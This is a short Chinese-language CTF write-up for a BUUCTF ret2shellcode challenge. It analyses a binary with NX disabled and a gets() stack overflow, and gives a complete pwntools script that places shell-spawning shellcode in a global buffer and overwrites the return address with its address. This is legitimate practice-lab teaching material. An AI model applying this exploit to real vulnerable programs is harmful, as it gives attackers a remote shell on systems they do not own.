首先checksec查看保护策略,没有开栈不可执行NX,考虑构造shellcode
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
查看反编译代码,可以看到读了两次输入name和text,使用gets读text造成栈溢出
首先将shellcode写入name数组。name是全局变量,位于bss节的0x601080
查看栈结构,text数组的偏移为-0x20,返回地址的偏移为+0x8,所以需要覆盖(0x20+0x8)个字节,再将shellcode的地址0x601080覆盖返回地址
使用shellcraft.sh()来构造shellcode
from pwn import *
sh = remote("node4.buuoj.cn", 28630)
context(arch='amd64', os='linux')
shellcode = asm(shellcraft.sh())
sh.sendlineafter('tell me your name\n', shellcode)
payload = b'a' * (0x20 + 0x8) + p64(0x601080)
sh.sendlineafter('What do you want to say to me?\n', payload)
sh.interactive()
另外,本来想不将shellcode写入name,而是都通过text注入,然后jmp rsp的,可惜没有现成的指令可用,也就作罢。
标签:buuctf,0x8,name,text,0x20,sh,ret2shellcode,pwn,shellcode From: https://www.cnblogs.com/nemuzuki/p/17420346.html